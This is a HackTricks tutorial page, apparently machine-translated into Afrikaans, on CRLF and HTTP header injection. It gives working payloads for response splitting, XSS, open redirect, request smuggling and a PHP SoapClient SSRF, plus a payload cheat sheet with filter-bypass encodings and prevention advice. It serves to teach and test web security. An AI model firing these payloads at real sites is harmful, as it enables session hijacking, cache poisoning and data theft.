Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

CRLF (%0D%0A) Injection

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty platform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin om belonings te verdien tot $100,000!

CRLF

Carriage Return (CR) en Line Feed (LF), bekend as CRLF, is spesiale karakterreeks wat in die HTTP-protokol gebruik word om die einde van 'n lyn of die begin van 'n nuwe een aan te dui. Webbedieners en blaaier gebruik CRLF om onderskeid te maak tussen HTTP-koppe en die liggaam van 'n respons. Hierdie karakters word universeel gebruik in HTTP/1.1 kommunikasie oor verskeie webbediener tipes, soos Apache en Microsoft IIS.

CRLF Ins spuitbaarheid

CRLF ins spuiting behels die inspuiting van CR- en LF-karakters in gebruikersverskafte insette. Hierdie aksie mislei die bediener, aansoek, of gebruiker om die ingespotte reeks te interpreteer as die einde van een respons en die begin van 'n ander. Alhoewel hierdie karakters nie inherent skadelik is nie, kan hul misbruik lei tot HTTP-responsverdeling en ander skadelike aktiwiteite.

Voorbeeld: CRLF Ins spuiting in 'n Log Lêer

Voorbeeld van hier

Oorweeg 'n log lêer in 'n administrateurpaneel wat die formaat volg: IP - Tyd - Besoekte Pad. 'n Tipiese inskrywing kan lyk soos:

123.123.123.123 - 08:15 - /index.php?page=home

'n Aanvaller kan 'n CRLF-inspuiting benut om hierdie log te manipuleer. Deur CRLF-karakters in die HTTP-versoek in te spuit, kan die aanvaller die uitvoerstroom verander en loginskrywings vervals. Byvoorbeeld, 'n ingespotte reeks kan die loginskrywing omskep in:'

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Hier verteenwoordig %0d en %0a die URL-geënkripte vorms van CR en LF. Na die aanval sal die log misleidend vertoon:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Die aanvaller verhul dus hul skadelike aktiwiteite deur dit te laat lyk asof die localhost (‘n entiteit wat tipies vertrou word binne die bedieneromgewing) die aksies uitgevoer het. Die bediener interpreteer die deel van die versoek wat begin met %0d%0a as 'n enkele parameter, terwyl die restrictedaction parameter as 'n ander, aparte inset geïnterpreteer word. Die gemanipuleerde versoek boots effektief 'n legitieme administratiewe bevel na: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Beskrywing

HTTP Response Splitting is 'n veiligheidskwesbaarheid wat ontstaan wanneer 'n aanvaller die struktuur van HTTP-antwoorde uitbuit. Hierdie struktuur skei koppe van die liggaam deur 'n spesifieke karakterreeks te gebruik, Carriage Return (CR) gevolg deur Line Feed (LF), gesamentlik bekend as CRLF. As 'n aanvaller daarin slaag om 'n CRLF-reeks in 'n antwoordkop in te voeg, kan hulle die daaropvolgende antwoordinhoud effektief manipuleer. Hierdie tipe manipulasie kan lei tot ernstige veiligheidskwessies, veral Cross-site Scripting (XSS).

XSS deur HTTP Response Splitting

  1. Die aansoek stel 'n aangepaste kop soos dit: X-Custom-Header: UserInput

  2. Die aansoek haal die waarde vir UserInput van 'n versoekparameter, sê "user_input". In scenario's waar behoorlike insetvalidering en enkodering ontbreek, kan 'n aanvaller 'n lading skep wat die CRLF-reeks insluit, gevolg deur skadelike inhoud.

  3. 'n Aanvaller skep 'n URL met 'n spesiaal ontwerpte 'user_input': ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

  • In hierdie URL is %0d%0a%0d%0a die URL-gekodeerde vorm van CRLFCRLF. Dit mislei die bediener om 'n CRLF-reeks in te voeg, wat veroorsaak dat die bediener die daaropvolgende deel as die antwoordliggaam hanteer.

  1. Die bediener weerspieël die aanvaller se inset in die antwoordkop, wat lei tot 'n onbedoelde antwoordstruktuur waar die skadelike skripsie deur die blaaier geïnterpreteer word as deel van die antwoordliggaam.

'n Voorbeeld van HTTP Response Splitting wat tot 'n Herlei lei

Vanaf https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Blaaier na:

/%0d%0aLocation:%20http://myweb.com

En die bediener reageer met die kop:

Location: http://myweb.com

Ander voorbeeld: (van https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Pad

Jy kan die lading binne die URL-pad stuur om die reaksie van die bediener te beheer (voorbeeld van hier):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Kyk na meer voorbeelde in:

HTTP Kopinspuiting

HTTP Kopinspuiting, dikwels uitgebuit deur CRLF (Carriage Return en Line Feed) inspuiting, maak dit vir aanvallers moontlik om HTTP koppe in te voeg. Dit kan sekuriteitsmeganismes soos XSS (Cross-Site Scripting) filters of die SOP (Same-Origin Policy) ondermyn, wat moontlik kan lei tot ongemagtigde toegang tot sensitiewe data, soos CSRF tokens, of die manipulasie van gebruikersessies deur koekie-implantasie.

Uitbuiting van CORS via HTTP Kopinspuiting

'n Aanvaller kan HTTP koppe inspuit om CORS (Cross-Origin Resource Sharing) moontlik te maak, wat die beperkings wat deur SOP opgelê word, omseil. Hierdie oortreding maak dit vir skripte van skadelike oorsprong moontlik om met bronne van 'n ander oorsprong te interaksieer, wat moontlik toegang tot beskermde data kan gee.

SSRF en HTTP Aanvraaginspuiting via CRLF

CRLF inspuiting kan gebruik word om 'n heeltemal nuwe HTTP-aanvraag te skep en in te spuit. 'n Noemenswaardige voorbeeld hiervan is die kwesbaarheid in PHP se SoapClient klas, spesifiek binne die user_agent parameter. Deur hierdie parameter te manipuleer, kan 'n aanvaller ekstra koppe en liggaaminhoud invoeg, of selfs 'n nuwe HTTP-aanvraag heeltemal inspuit. Hieronder is 'n PHP-voorbeeld wat hierdie uitbuiting demonstreer:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

Vir meer inligting oor hierdie tegniek en potensiële probleme kontroleer die oorspronklike bron.

Jy kan noodsaaklike koppe invoeg om te verseker dat die agterkant die verbinding oop hou nadat dit op die aanvanklike versoek gereageer het:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Na afloop kan 'n tweede versoek gespesifiseer word. Hierdie scenario behels tipies HTTP-versoeksmokkel, 'n tegniek waar ekstra koppe of liggaamselemente wat deur die bediener na-inspuiting bygevoeg word, kan lei tot verskeie sekuriteitsexploite.

Uitbuiting:

  1. Boosaardige Voorvoegselinspuiting: Hierdie metode behels die vergiftiging van die volgende gebruiker se versoek of 'n webgeheue deur 'n boosaardige voorvoegsel te spesifiseer. 'N voorbeeld hiervan is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. Skep 'n Voorvoegsel vir Reaksie-ry Poisoning: Hierdie benadering behels die skep van 'n voorvoegsel wat, wanneer gekombineer met agtergeblewe rommel, 'n volledige tweede versoek vorm. Dit kan reaksie-ry vergiftiging veroorsaak. 'N voorbeeld is:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache-inspuiting

Memcache is 'n sleutel-waarde stoor wat 'n duidelike teksprotokol gebruik. Meer inligting in:

page11211 - Pentesting Memcache

Vir die volledige inligting lees die oorspronklike skryfstuk

As 'n platform data van 'n HTTP-versoek neem en dit sonder sanitasie gebruik om versoeke aan 'n memcache-bediener uit te voer, kan 'n aanvaller hierdie gedrag misbruik om nuwe memcache-opdragte in te spuit.

Byvoorbeeld, in die oorspronklike ontdekte kwesbaarheid is kassasleutels gebruik om die IP en poort terug te stuur waaraan 'n gebruiker moet koppel, en aanvallers kon memcache-opdragte inspuit wat die kas sou vergiftig om die besonderhede van die slagoffers (gebruikersname en wagwoorde ingesluit) na die aanvaller se bedieners te stuur:

Daarbenewens het navorsers ook ontdek dat hulle die memcachereaksies kon desinkroniseer om die aanvallers se IP en poorte na gebruikers te stuur wie se e-pos die aanvaller nie geken het nie:

Hoe om CRLF / HTTP-kopinspuitings in Webtoepassings te voorkom

Om die risiko's van CRLF (Carriage Return en Line Feed) of HTTP-kopinspuitings in webtoepassings te verminder, word die volgende strategieë aanbeveel:

  1. Vermy Direkte Gebruikerinsette in Reaksiekoppe: Die veiligste benadering is om te vermy om gebruikersgelewerde insette direk in reaksiekoppe op te neem.

  2. Kodeer Spesiale Karakters: As dit nie moontlik is om direkte gebruikerinsette te vermy nie, verseker dan dat 'n funksie wat spesifiek gewy is aan die kodeering van spesiale karakters soos CR (Carriage Return) en LF (Line Feed) gebruik word. Hierdie praktyk voorkom die moontlikheid van CRLF-inspuiting.

  3. Werk die Programmeer taal op: Werk gereeld die programmeertaal wat in jou webtoepassings gebruik word na die nuutste weergawe op. Kies 'n weergawe wat inherent die inspuiting van CR- en LF-karakters binne funksies wat belas is met die instelling van HTTP-koppe, verbied.

SAKKAART

Sakkaart van hier

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Outomatiese Gereedskap

Brute-Force Opmerkingslys

Verwysings

Foutvonds wenk: teken aan vir Intigriti, 'n premium foutvondsplatform geskep deur hackers, vir hackers! Sluit by ons aan by https://go.intigriti.com/hacktricks vandag, en begin verdien belonings tot $100,000!

Leer AWS hakwerk van niks tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousCORS - Misconfigurations & BypassNextCSRF (Cross Site Request Forgery)

Last updated